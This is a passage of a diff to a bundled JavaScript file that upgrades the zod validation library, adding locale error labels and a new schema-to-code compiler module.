\u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -64951,17 +67518,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64987,12 +67555,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -65059,14 +67631,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -65113,21 +67685,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = ${fnConst}(${accessor});`); + doc.write(`if (${resVar} instanceof Promise) ${throwAsyncConst}();`); + doc.write(`if (!${resVar}) return INVALID;`); + return accessor; + } + if (check3._zod.check) { + if (isAsyncFunction(check3._zod.check)) { + throw new ZodCompileAsyncError("z.compile: async .superRefine() / check functions are not supported"); + } + const checkFn = check3._zod.check; + const helperFn = (value) => { + const fakePayload = { value, issues: [], addIssue: pushIssue }; + const result = checkFn(fakePayload); + if (result instanceof Promise) + throwAsync(); + return fakePayload.issues.length === 0 ? fakePayload.value : INVALID; + }; + const helperConst = addUserConstant(ctx, helperFn); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${helperConst}(${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; + } + throw new ZodCompileUnsupportedError("custom check without a predicate or check function"); +} +var PATTERN_IS_COMPLETE = /* @__PURE__ */ new Set([ + "cidrv4", + "cuid", + "cuid2", + "date", + "datetime", + "duration", + "e164", + "email", + "emoji", + "ends_with", + "guid", + "includes", + "ipv4", + "ksuid", + "lowercase", + "mac", + "nanoid", + "regex", + "starts_with", + "time", + "ulid", + "uppercase", + "uuid", + "xid" +]); +function generateStringFormatCheck(doc, ctx, def, accessor, needsValue = true) { + const fmt = def.format; + if (fmt === "base64") { + const validator = addConstant(ctx, isValidBase64); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "base64url") { + const validator = addConstant(ctx, isValidBase64URL); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "jwt") { + const validator = addConstant(ctx, isValidJWT); + const alg = addConstant(ctx, def.alg ?? null); + doc.write(`if (!${validator}(${accessor}, ${alg})) return INVALID;`); + return accessor; + } + if (fmt === "ipv6") { + const validator = addConstant(ctx, isValidIPv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "cidrv6") { + const validator = addConstant(ctx, isValidCIDRv6); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "credit_card") { + const validator = addConstant(ctx, isValidCreditCard); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + if (fmt === "iban") { + const validator = addConstant(ctx, isValidIBAN); + doc.write(`if (!${validator}(${accessor})) return INVALID;`); + return accessor; + } + const formatDef = def; + if (fmt === "url" || fmt === "httpurl" || formatDef.normalize || formatDef.hostname !== void 0 || formatDef.protocol !== void 0) { + const parseConst = addConstant(ctx, validateURL); + const defConst = addConstant(ctx, def); + const trimVar = newVar(ctx); + const urlVar = newVar(ctx); + doc.write(`const ${trimVar} = ${accessor}.trim();`); + doc.write(`const ${urlVar} = ${parseConst}(${trimVar}, ${defConst});`); + doc.write(`if (typeof ${urlVar} === "number") return INVALID;`); + if (formatDef.hostname !== void 0) { + const hostnameConst = addConstant(ctx, urlHostnameOk); + doc.write(`if (!${hostnameConst}(${urlVar}, ${defConst}.hostname)) return INVALID;`); + } + if (formatDef.protocol !== void 0) { + const protocolConst = addConstant(ctx, urlProtocolOk); + doc.write(`if (!${protocolConst}(${urlVar}, ${defConst}.protocol)) return INVALID;`); + } + if (!needsValue) + return null; + const outputVar = newVar(ctx); + const outputExpr = formatDef.normalize ? `${urlVar}.href` : `${addConstant(ctx, stripTabAndNewline)}(${trimVar})`; + doc.write(`const ${outputVar} = ${outputExpr};`); + return outputVar; + } + const customFn = def.fn; + if (customFn) { + if (isAsyncFunction(customFn)) + throw new ZodCompileUnsupportedError(`async string format ${fmt}`); + const fnConst = addConstant(ctx, customFn); + doc.write(`if (!${fnConst}(${accessor})) return INVALID;`); + return accessor; + } + if (PATTERN_IS_COMPLETE.has(fmt) && def.pattern) { + const patternConst = addConstant(ctx, def.pattern); + doc.write(`${patternConst}.lastIndex = 0;`); + doc.write(`if (!${patternConst}.test(${accessor})) return INVALID;`); + return accessor; + } + const format = def.format; + switch (format) { + case "regex": + throw new ZodCompileUnsupportedError("regex format without a pattern"); + case "lowercase": + doc.write(`if (${accessor} !== ${accessor}.toLowerCase()) return INVALID;`); + break; + case "uppercase": + doc.write(`if (${accessor} !== ${accessor}.toUpperCase()) return INVALID;`); + break; + case "includes": + doc.write(`if (!${accessor}.includes(${esc(def.includes)})) return INVALID;`); + break; + case "starts_with": { + const prefix = def.prefix; + doc.write(`if (${accessor}.slice(0, ${prefix.length}) !== ${esc(prefix)}) return INVALID;`); + break; + } + case "ends_with": { + const suffix = def.suffix; + doc.write(`if (${accessor}.slice(-${suffix.length}) !== ${esc(suffix)}) return INVALID;`); + break; + } + default: { + throw new ZodCompileUnsupportedError(`string format ${format}`); + } + } + return accessor; +} +function generateCheck(doc, ctx, schema, accessor, needsValue = true) { + const def = schema._zod.def; + const type = def.type; + if (def.coerce) { + throw new ZodCompileUnsupportedError(`coercion (z.coerce.${type}())`); + } + const buildsValue = needsValue || !!def.checks?.length; + let typeAccessor; + switch (type) { + case "string": + typeAccessor = generateStringCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "number": + typeAccessor = generateNumberCheck(doc, schema, accessor); + break; + case "boolean": + typeAccessor = generateBooleanCheck(doc, accessor); + break; + case "bigint": + typeAccessor = generateBigIntCheck(doc, schema, accessor); + break; + case "symbol": + typeAccessor = generateSymbolCheck(doc, accessor); + break; + case "undefined": + typeAccessor = generateUndefinedCheck(doc, accessor); + break; + case "null": + typeAccessor = generateNullCheck(doc, accessor); + break; + case "any": + case "unknown": + typeAccessor = accessor; + break; + case "never": + doc.write("return INVALID;"); + typeAccessor = accessor; + break; + case "void": + typeAccessor = generateVoidCheck(doc, accessor); + break; + case "nan": + typeAccessor = generateNaNCheck(doc, accessor); + break; + case "date": + typeAccessor = generateDateCheck(doc, accessor); + break; + case "object": + typeAccessor = generateObjectCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "optional": + typeAccessor = generateOptionalCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "nullable": + typeAccessor = generateNullableCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "array": + typeAccessor = generateArrayCheck(doc, ctx, schema, accessor, buildsValue); + break; + case "literal": + typeAccessor = generateLiteralCheck(doc, ctx, schema, accessor); + break; + case "enum": + typeAccessor = generateEnumCheck(doc, ctx, schema, accessor); + break; + case "readonly": { + const innerOut = generateWrapperCheck(doc, ctx, schema, accessor); + const frozenVar = newVar(ctx); + doc.write(`const ${frozenVar} = Object.freeze(${innerOut});`); + typeAccessor = frozenVar; + break; + } + case "success": + generateWrapperCheck(doc, ctx, schema, accessor); + typeAccessor = "true"; + break; + case "default": + case "prefault": + typeAccessor = generateDefaultCheck(doc, ctx, schema, accessor); + break; + case "nonoptional": + typeAccessor = generateNonOptionalCheck(doc, ctx, schema, accessor); + break; + case "tuple": + typeAccessor = generateTupleCheck(doc, ctx, schema, accessor); + break; + case "union": + typeAccessor = generateUnionCheck(doc, ctx, schema, accessor); + break; + case "intersection": + typeAccessor = generateIntersectionCheck(doc, ctx, schema, accessor); + break; + case "record": + typeAccessor = generateRecordCheck(doc, ctx, schema, accessor); + break; + case "map": + typeAccessor = generateMapCheck(doc, ctx, schema, accessor); + break; + case "set": + typeAccessor = generateSetCheck(doc, ctx, schema, accessor); + break; + case "file": + typeAccessor = generateFileCheck(doc, accessor); + break; + case "template_literal": + typeAccessor = generateTemplateLiteralCheck(doc, ctx, schema, accessor); + break; + case "lazy": + typeAccessor = generateLazyCheck(doc, ctx, schema, accessor); + break; + case "pipe": + typeAccessor = generatePipeCheck(doc, ctx, schema, accessor); + break; + case "custom": + typeAccessor = generateCustomCheck(doc, ctx, schema, accessor); + break; + case "transform": + typeAccessor = generateTransformCheck(doc, ctx, schema, accessor); + break; + case "catch": + typeAccessor = generateCatchCheck(doc, ctx, schema, accessor); + break; + default: { + throw new ZodCompileUnsupportedError(`schema type ${type}`); + } + } + if (typeAccessor === null) + return null; + return generateChecks(doc, ctx, schema, typeAccessor); +} +function generateStringCheck(doc, ctx, schema, accessor, needsValue = true) { + doc.write(`if (typeof ${accessor} !== "string") return INVALID;`); + const def = schema._zod.def; + if (def.format === void 0) + return accessor; + return generateStringFormatCheck(doc, ctx, def, accessor, needsValue); +} +function generateNumberCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isFinite(${accessor})) return INVALID;`); + const def = schema._zod.def; + if (def.check === "number_format" && def.format) { + generateNumberFormatCheck(doc, { format: def.format }, accessor); + } + return accessor; +} +function generateBooleanCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "boolean") return INVALID;`); + return accessor; +} +function generateBigIntCheck(doc, schema, accessor) { + doc.write(`if (typeof ${accessor} !== "bigint") return INVALID;`); + const def = schema._zod.def; + if (def.format) { + switch (def.format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + } + } + return accessor; +} +function generateSymbolCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "symbol") return INVALID;`); + return accessor; +} +function generateUndefinedCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNullCheck(doc, accessor) { + doc.write(`if (${accessor} !== null) return INVALID;`); + return accessor; +} +function generateVoidCheck(doc, accessor) { + doc.write(`if (${accessor} !== undefined) return INVALID;`); + return accessor; +} +function generateNaNCheck(doc, accessor) { + doc.write(`if (typeof ${accessor} !== "number" || !Number.isNaN(${accessor})) return INVALID;`); + return accessor; +} +function generateDateCheck(doc, accessor) { + doc.write(`if (!(${accessor} instanceof Date) || Number.isNaN(${accessor}.getTime())) return INVALID;`); + return accessor; +} +function generateObjectCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + doc.write(`if (typeof ${accessor} !== "object" || ${accessor} === null || Array.isArray(${accessor})) return INVALID;`); + const shape = def.shape; + const keys = Object.keys(shape); + const symbolKeys = Object.getOwnPropertySymbols(shape); + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + const keyExpr = (k) => typeof k === "symbol" ? addConstant(ctx, k) : esc(k); + const propKey = (k) => typeof k === "symbol" ? `[${keyExpr(k)}]` : esc(k); + const propShape = shape; + if (keys.includes("__proto__")) { + throw new ZodCompileUnsupportedError('object shape key "__proto__"'); + } + const propOutputs = /* @__PURE__ */ new Map(); + for (const key of allKeys) { + const propSchema = propShape[key]; + const kx = keyExpr(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${kx}];`); + if (propSchema._zod.optin !== void 0) { + const outputVar2 = newVar(ctx); + doc.write(`let ${outputVar2} = (() => {`); + doc.indented((d) => { + const outputAccessor = compileChild(d, ctx, propSchema, inputVar); + d.write(`return ${outputAccessor};`); + }); + doc.write(`})();`); + if (propSchema._zod.optout === "optional") { + doc.write(`if (${outputVar2} === INVALID) {`); + doc.indented((d) => { + d.write(`if (${kx} in ${accessor}) return INVALID;`); + d.write(`${outputVar2} = undefined;`); + }); + doc.write(`}`); + } else { + doc.write(`if (${outputVar2} === INVALID) return INVALID;`); + } + propOutputs.set(key, outputVar2); + } else { + if (requiresPresenceCheck(propSchema)) { + doc.write(`if (!(${kx} in ${accessor})) return INVALID;`); + } + const outputAccessor = compileChild(doc, ctx, propSchema, inputVar, buildsValue); + if (outputAccessor !== null) + propOutputs.set(key, outputAccessor); + } + } + const catchall = def.catchall; + let unknownKeysMode = "none"; + if (catchall) { + const catchallType = catchall._zod.def.type; + if (catchallType === "never") { + const condition = keys.map((k) => `k !== ${esc(k)}`).join(" && ") || "true"; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (${condition}) return INVALID;`); + }); + doc.write(`}`); + } else if ((catchallType === "unknown" || catchallType === "any") && !catchall._zod.def.checks?.length) { + unknownKeysMode = "passthrough"; + } else { + unknownKeysMode = "schema"; + } + } + const outputVar = newVar(ctx); + const hasConditionalKeys = allKeys.some((k) => mayOmitUndefined(propShape[k]) || dropsWhenAbsent(propShape[k])); + if (!buildsValue) { + if (unknownKeysMode === "schema") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + compileChild(d, ctx, catchall, valVar, false); + }); + doc.write(`}`); + } + return null; + } + if (!hasConditionalKeys) { + const propLiterals = allKeys.map((k) => `${propKey(k)}: ${propOutputs.get(k)}`).join(", "); + doc.write(`const ${outputVar} = { ${propLiterals} };`); + } else { + doc.write(`const ${outputVar} = {};`); + for (const k of allKeys) { + const kx = keyExpr(k); + const out = propOutputs.get(k); + if (dropsWhenAbsent(propShape[k])) { + doc.write(`if (${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else if (mayOmitUndefined(propShape[k])) { + doc.write(`if (${out} !== undefined || ${kx} in ${accessor}) ${outputVar}[${kx}] = ${out};`); + } else { + doc.write(`${outputVar}[${kx}] = ${out};`); + } + } + } + if (unknownKeysMode !== "none") { + const knownSet = keys.length > 0 ? addConstant(ctx, new Set(keys)) : null; + doc.write(`for (const k in ${accessor}) {`); + doc.indented((d) => { + d.write(`if (k === "__proto__") continue;`); + if (knownSet) + d.write(`if (${knownSet}.has(k)) continue;`); + if (unknownKeysMode === "passthrough") { + d.write(`${outputVar}[k] = ${accessor}[k];`); + } else { + const valVar = newVar(ctx); + d.write(`const ${valVar} = ${accessor}[k];`); + const catchallOut = compileChild(d, ctx, catchall, valVar); + d.write(`${outputVar}[k] = ${catchallOut};`); + } + }); + doc.write(`}`); + } + return outputVar; +} +function generateOptionalCheck(doc, ctx, schema, accessor, buildsValue = true) { + const def = schema._zod.def; + if (isExactOptional(schema)) { + return generateCheck(doc, ctx, def.innerType, accessor, buildsValue); + } + if (def.innerType._zod.optin === "defaulted") { + const outputVar2 = newVar(ctx); + const branchVar = newVar(ctx); + doc.write(`let ${outputVar2};`); + doc.write(`if (${accessor} === undefined) {`); + doc.indented((d) => { + d.write(`const ${branchVar} = (() => {`); + d.indented((d2) => { + const innerOutput = generateCheck(d2, ctx, def.innerType, accessor); + d2.write(`return ${innerOutput};`); + }); + d.write(`})();`); + d.write(`if (${branchVar} !== INVALID) ${outputVar2} = ${branchVar};`); + }); + doc.write(`} else {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor); + d.write(`${outputVar2} = ${innerOutput};`); + }); + doc.write(`}`); + return outputVar2; + } + const outputVar = buildsValue ? newVar(ctx) : null; + if (outputVar) + doc.write(`let ${outputVar};`); + doc.write(`if (${accessor} !== undefined) {`); + doc.indented((d) => { + const innerOutput = generateCheck(d, ctx, def.innerType, accessor, buildsValue); + if (outputVar && innerOutput !== null) + d.write(`${outputVar} = ${innerOutput};`); + 